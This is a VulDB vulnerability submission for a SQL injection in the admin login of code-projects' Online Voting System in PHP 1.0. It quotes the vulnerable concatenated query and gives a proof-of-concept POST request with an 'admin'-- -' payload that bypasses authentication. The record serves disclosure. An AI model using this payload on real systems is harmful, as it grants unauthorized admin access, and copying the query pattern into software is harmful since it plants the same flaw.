| Titre | code-projects Online Voting System in PHP 1.0 SQL Injection |
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| Description | SQL Injection vulnerability exists in the admin authentication mechanism of Online Voting System in PHP version 1.0.
The application defines a test_input() function intended to sanitize user input, but it calls htmlspecialchars() without the ENT_QUOTES flag. By default, htmlspecialchars() only encodes double quotes ("), leaving single quotes (') unescaped. As a result, the POST parameters adminUserName and adminPassword are interpolated unsanitized into a SELECT query:
$sql= "SELECT * FROM db_evoting.tbl_admin WHERE admin_username='".$admin_username."' AND admin_password='".$admin_password."'";
$query= mysqli_query($conn, $sql);
if(mysqli_num_rows($query)==1)
{
header("location:cpanel.php");
}
An attacker can inject a SQL comment to cancel the password condition and gain access to the admin panel without valid credentials.
Proof of Concept (PoC):
Below is a POST request demonstrating authentication bypass via SQL Injection in the adminUserName parameter:
POST /authentication.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
adminUserName=admin'-- -&adminPassword=anything
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| La source | ⚠️ https://gist.github.com/c4ttr4ck/ed954dc2e3da968eb460a18385146f4c |
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| Utilisateur | c4ttr4ck (UID 75518) |
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| Soumission | 02/06/2026 20:17 (il y a 1 mois) |
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| Modérer | 03/07/2026 20:31 (1 month later) |
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| Statut | Accepté |
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| Entrée VulDB | 376161 [code-projects Online Voting System jusqu’à 0.x/1.0 Login /authentication.php test_input adminUserName/adminPassword injection SQL] |
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| Points | 20 |
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